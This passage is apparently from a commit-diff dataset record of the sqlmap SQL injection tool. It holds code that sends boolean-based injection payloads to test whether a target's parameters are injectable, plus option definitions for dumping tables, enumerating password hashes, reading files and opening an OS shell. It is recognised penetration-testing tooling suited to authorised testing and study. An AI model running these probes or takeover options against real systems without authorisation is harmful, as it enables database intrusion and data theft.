%(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringsingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likesingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringdouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"double quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likedouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable\" logger.info(infoMsg) return None def checkDynParam(place, parameter, value): \"\"\" This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. \"\"\" infoMsg=\"testing if %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) randInt=randomInt() payload=agent.payload(place, parameter, value, str(randInt)) dynResult1=Request.queryPage(payload, place) if True==dynResult1: return False infoMsg=\"confirming that %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"'%s\" % randomStr()) dynResult2=Request.queryPage(payload, place) payload=agent.payload(place, parameter, value, \"\\\"%s\" % randomStr()) dynResult3=Request.queryPage(payload, place) condition =True !=dynResult2 condition |=True !=dynResult3 return condition def checkStability(): \"\"\" This function checks if the URL content is stable requesting the same page three times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching(--string). \"\"\" infoMsg=\"testing if the url is stable, wait a few seconds\" logger.info(infoMsg) firstPage, firstHeaders=Request.queryPage(content=True) time.sleep(0.5) secondPage, secondHeaders=Request.queryPage(content=True) time.sleep(0.5) thirdPage, thirdHeaders=Request.queryPage(content=True) condition =firstPage==secondPage condition &=secondPage==thirdPage if condition==False: warnMsg =\"url is not stable, sqlmap will base the page \" warnMsg +=\"comparison on a sequence matcher, if no dynamic nor \" warnMsg +=\"injectable parameters are detected, refer to user's \" warnMsg +=\"manual paragraph 'Page comparison' and provide a \" warnMsg +=\"string or regular expression to match on\" logger.warn(warnMsg) if condition==True: logMsg=\"url is stable\" logger.info(logMsg) return condition def checkString(): if not conf.string: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"String\") and kb.resumedQueries[conf.url][\"String\"][:-1]==conf.string ) if condition: return True infoMsg =\"testing if the provided string is within the \" infoMsg +=\"target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if conf.string in page: setString() return True else: errMsg =\"you provided '%s' as the string to \" % conf.string errMsg +=\"match, but such a string is not within the target \" errMsg +=\"URL page content, please provide another string.\" logger.error(errMsg) return False def checkRegexp(): if not conf.regexp: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"Regular expression\") and kb.resumedQueries[conf.url][\"Regular expression\"][:-1]==conf.regexp ) if condition: return True infoMsg =\"testing if the provided regular expression matches within \" infoMsg +=\"the target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if re.search(conf.regexp, page, re.I | re.M): setRegexp() return True else: errMsg =\"you provided '%s' as the regular expression to \" % conf.regexp errMsg +=\"match, but such a regular expression does not have any \" errMsg +=\"match within the target URL page content, please provide \" errMsg +=\"another regular expression.\" logger.error(errMsg) return False def checkConnection(): infoMsg=\"testing connection to the target url\" logger.info(infoMsg) try: page, _=Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: if conf.multipleTargets: exceptionMsg +=\", skipping to next url\" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg return True ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\nimport time\n\nfrom lib.controller.action import action\nfrom lib.core.agent import agent\nfrom lib.core.common import randomInt\nfrom lib.core.common import randomStr\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.exception import sqlmapConnectionException\nfrom lib.core.session import setString\nfrom lib.core.session import setRegexp\nfrom lib.request.connect import Connect as Request\n\n\ndef checkSqlInjection(place, parameter, value, parenthesis):\n \"\"\"\n This function checks if the GET, POST, Cookie, User-Agent\n parameters are affected by a SQL injection vulnerability and\n identifies the type of SQL injection:\n\n * Unescaped numeric injection\n * Single quoted string injection\n * Double quoted string injection\n \"\"\"\n\n randInt = randomInt()\n randStr = randomStr()\n\n if conf.prefix or conf.postfix:\n prefix = \"\"\n postfix = \"\"\n\n if conf.prefix:\n prefix = conf.prefix\n\n if conf.postfix:\n postfix = conf.postfix\n\n infoMsg = \"testing custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"custom injectable \"\n logger.info(infoMsg)\n\n return \"custom\"\n\n infoMsg = \"testing unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"numeric\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringsingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likesingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringdouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"double quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likedouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable\"\n logger.info(infoMsg)\n\n return None\n\n\ndef checkDynParam(place, parameter, value):\n \"\"\"\n This function checks if the url parameter is dynamic. If it is\n dynamic, the content of the page differs, otherwise the\n dynamicity might depend on another parameter.\n \"\"\"\n\n infoMsg = \"testing if %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n randInt = randomInt()\n payload = agent.payload(place, parameter, value, str(randInt))\n dynResult1 = Request.queryPage(payload, place)\n\n if True == dynResult1:\n return False\n\n infoMsg = \"confirming that %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"'%s\" % randomStr())\n dynResult2 = Request.queryPage(payload, place)\n\n payload = agent.payload(place, parameter, value, \"\\\"%s\" % randomStr())\n dynResult3 = Request.queryPage(payload, place)\n\n condition = True != dynResult2\n condition |= True != dynResult3\n\n return condition\n\n\ndef checkStability():\n \"\"\"\n This function checks if the URL content is stable requesting the\n same page three times with a small delay within each request to\n assume that it is stable.\n\n In case the content of the page differs when requesting\n the same page, the dynamicity might depend on other parameters,\n like for instance string matching (--string).\n \"\"\"\n\n infoMsg = \"testing if the url is stable, wait a few seconds\"\n logger.info(infoMsg)\n\n firstPage, firstHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n thirdPage, thirdHeaders = Request.queryPage(content=True)\n\n condition = firstPage == secondPage\n condition &= secondPage == thirdPage\n\n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\n warnMsg += \"comparison on a sequence matcher, if no dynamic nor \"\n warnMsg += \"injectable parameters are detected, refer to user's \"\n warnMsg += \"manual paragraph 'Page comparison' and provide a \"\n warnMsg += \"string or regular expression to match on\"\n logger.warn(warnMsg)\n\n if condition == True:\n logMsg = \"url is stable\"\n logger.info(logMsg)\n\n return condition\n\n\ndef checkString():\n if not conf.string:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"String\") and\n kb.resumedQueries[conf.url][\"String\"][:-1] == conf.string\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided string is within the \"\n infoMsg += \"target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if conf.string in page:\n setString()\n return True\n else:\n errMsg = \"you provided '%s' as the string to \" % conf.string\n errMsg += \"match, but such a string is not within the target \"\n errMsg += \"URL page content, please provide another string.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkRegexp():\n if not conf.regexp:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"Regular expression\") and\n kb.resumedQueries[conf.url][\"Regular expression\"][:-1] == conf.regexp\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided regular expression matches within \"\n infoMsg += \"the target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if re.search(conf.regexp, page, re.I | re.M):\n setRegexp()\n return True\n else:\n errMsg = \"you provided '%s' as the regular expression to \" % conf.regexp\n errMsg += \"match, but such a regular expression does not have any \"\n errMsg += \"match within the target URL page content, please provide \"\n errMsg += \"another regular expression.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkConnection():\n infoMsg = \"testing connection to the target url\"\n logger.info(infoMsg)\n\n try:\n page, _ = Request.getPage()\n conf.seqMatcher.set_seq1(page)\n\n except sqlmapConnectionException, exceptionMsg:\n if conf.multipleTargets:\n exceptionMsg += \", skipping to next url\"\n logger.warn(exceptionMsg)\n\n return False\n else:\n raise sqlmapConnectionException, exceptionMsg\n\n return True\n"}, "/lib/parse/cmdline.py": {"changes": [{"diff": "\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" \"you can run your own SQL SELECT queries.\")"], "goodparts": [" \"you can run your own SQL statements.\")"]}, {"diff": "\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" help=\"SQL SELECT query to be executed\")"], "goodparts": [" help=\"SQL statement to be executed\")"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING def cmdLineParser(): \"\"\" This function parses the command line parameters and arguments \"\"\" usage=\"%s[options]\" % sys.argv[0] parser=OptionParser(usage=usage, version=VERSION_STRING) try: parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", help=\"Verbosity level: 0-5(default 1)\") target=OptionGroup(parser, \"Target\", \"At least one of these \" \"options has to be specified to set the source \" \"to get target urls from.\") target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\") target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \" \"or WebScarab logs\") target.add_option(\"-g\", dest=\"googleDork\", help=\"Process Google dork results as target urls\") target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\") request=OptionGroup(parser, \"Request\", \"These options can be used \" \"to specify how to connect to the target url.\") request.add_option(\"--method\", dest=\"method\", default=\"GET\", help=\"HTTP method, GET or POST(default: GET)\") request.add_option(\"--data\", dest=\"data\", help=\"Data string to be sent through POST\") request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header\") request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header\") request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header\") request.add_option(\"-a\", dest=\"userAgentsFile\", help=\"Load a random HTTP User-Agent \" \"header from file\") request.add_option(\"--headers\", dest=\"headers\", help=\"Extra HTTP headers '\\\\n' separated\") request.add_option(\"--auth-type\", dest=\"aType\", help=\"HTTP Authentication type, value: \" \"Basic or Digest\") request.add_option(\"--auth-cred\", dest=\"aCred\", help=\"HTTP Authentication credentials, value: \" \"name:password\") request.add_option(\"--proxy\", dest=\"proxy\", help=\"Use a HTTP proxy to connect to the target url\") request.add_option(\"--threads\", dest=\"threads\", type=\"int\", help=\"Maximum number of concurrent HTTP \" \"requests(default 1)\") request.add_option(\"--delay\", dest=\"delay\", type=\"float\", help=\"Delay in seconds between each HTTP request\") request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\", help=\"Seconds to wait before timeout connection \" \"(default 30)\") injection=OptionGroup(parser, \"Injection\", \"These options can be \" \"used to specify which parameters to test \" \"for, provide custom injection payloads and \" \"how to parse and compare HTTP responses \" \"page content when using the blind SQL \" \"injection technique.\") injection.add_option(\"-p\", dest=\"testParameter\", help=\"Testable parameter(s)\") injection.add_option(\"--dbms\", dest=\"dbms\", help=\"Force back-end DBMS to this value\") injection.add_option(\"--prefix\", dest=\"prefix\", help=\"Injection payload prefix string\") injection.add_option(\"--postfix\", dest=\"postfix\", help=\"Injection payload postfix string\") injection.add_option(\"--string\", dest=\"string\", help=\"String to match in page when the \" \"query is valid\") injection.add_option(\"--regexp\", dest=\"regexp\", help=\"Regexp to match in page when the \" \"query is valid\") injection.add_option(\"--excl-str\", dest=\"eString\", help=\"String to be excluded before calculating \" \"page hash\") injection.add_option(\"--excl-reg\", dest=\"eRegexp\", help=\"Regexp matches to be excluded before \" \"calculating page hash\") techniques=OptionGroup(parser, \"Techniques\", \"These options can \" \"be used to test for specific SQL injection \" \"technique or to use one of them to exploit \" \"the affected parameter(s) rather than using \" \"the default blind SQL injection technique.\") techniques.add_option(\"--stacked-test\", dest=\"stackedTest\", action=\"store_true\", help=\"Test for stacked queries(multiple \" \"statements) support\") techniques.add_option(\"--time-test\", dest=\"timeTest\", action=\"store_true\", help=\"Test for Time based blind SQL injection\") techniques.add_option(\"--union-test\", dest=\"unionTest\", action=\"store_true\", help=\"Test for UNION query(inband) SQL injection\") techniques.add_option(\"--union-use\", dest=\"unionUse\", action=\"store_true\", help=\"Use the UNION query(inband) SQL injection \" \"to retrieve the queries output. No \" \"need to go blind\") fingerprint=OptionGroup(parser, \"Fingerprint\") fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\", action=\"store_true\", help=\"Perform an extensive DBMS version fingerprint\") enumeration=OptionGroup(parser, \"Enumeration\", \"These options can \" \"be used to enumerate the back-end database \" \"management system information, structure \" \"and data contained in the tables. Moreover \" \"you can run your own SQL SELECT queries.\") enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\", action=\"store_true\", help=\"Retrieve DBMS banner\") enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\", action=\"store_true\", help=\"Retrieve DBMS current user\") enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\", action=\"store_true\", help=\"Retrieve DBMS current database\") enumeration.add_option(\"--is-dba\", dest=\"isDba\", action=\"store_true\", help=\"Detect if the DBMS current user is DBA\") enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\", help=\"Enumerate DBMS users\") enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\", action=\"store_true\", help=\"Enumerate DBMS users password hashes(opt: -U)\") enumeration.add_option(\"--privileges\", dest=\"getPrivileges\", action=\"store_true\", help=\"Enumerate DBMS users privileges(opt: -U)\") enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\", help=\"Enumerate DBMS databases\") enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\", help=\"Enumerate DBMS database tables(opt: -D)\") enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\", help=\"Enumerate DBMS database table columns \" \"(req:-T opt:-D)\") enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\", help=\"Dump DBMS database table entries \" \"(req: -T, opt: -D, -C, --start, --stop)\") enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\", help=\"Dump all DBMS databases tables entries\") enumeration.add_option(\"-D\", dest=\"db\", help=\"DBMS database to enumerate\") enumeration.add_option(\"-T\", dest=\"tbl\", help=\"DBMS database table to enumerate\") enumeration.add_option(\"-C\", dest=\"col\", help=\"DBMS database table column to enumerate\") enumeration.add_option(\"-U\", dest=\"user\", help=\"DBMS user to enumerate\") enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\", action=\"store_true\", help=\"Exclude DBMS system databases when \" \"enumerating tables\") enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\", help=\"First table entry to dump\") enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\", help=\"Last table entry to dump\") enumeration.add_option(\"--sql-query\", dest=\"query\", help=\"SQL SELECT query to be executed\") enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\", action=\"store_true\", help=\"Prompt for an interactive SQL shell\") filesystem=OptionGroup(parser, \"File system access\", \"These options \" \"can be used to access the back-end database \" \"management system file system taking \" \"advantage of native DBMS functions or \" \"specific DBMS design weaknesses.\") filesystem.add_option(\"--read-file\", dest=\"rFile\", help=\"Read a specific OS file content(only on MySQL)\") filesystem.add_option(\"--write-file\", dest=\"wFile\", help=\"Write to a specific OS file(not yet available)\") takeover=OptionGroup(parser, \"Operating system access\", \"This \" \"option can be used to access the back-end \" \"database management system operating \" \"system taking advantage of specific DBMS \" \"design weaknesses.\") takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\", help=\"Prompt for an interactive OS shell \" \"(only on PHP/MySQL environment with a \" \"writable directory within the web \" \"server document root for the moment)\") miscellaneous=OptionGroup(parser, \"Miscellaneous\") miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\", help=\"Retrieve each query output length and \" \"calculate the estimated time of arrival \" \"in real time\") miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\", help=\"Update sqlmap to the latest stable version\") miscellaneous.add_option(\"-s\", dest=\"sessionFile\", help=\"Save and resume all data retrieved \" \"on a session file\") miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\", help=\"Save options on a configuration INI file\") miscellaneous.add_option(\"--batch\", dest=\"batch\", 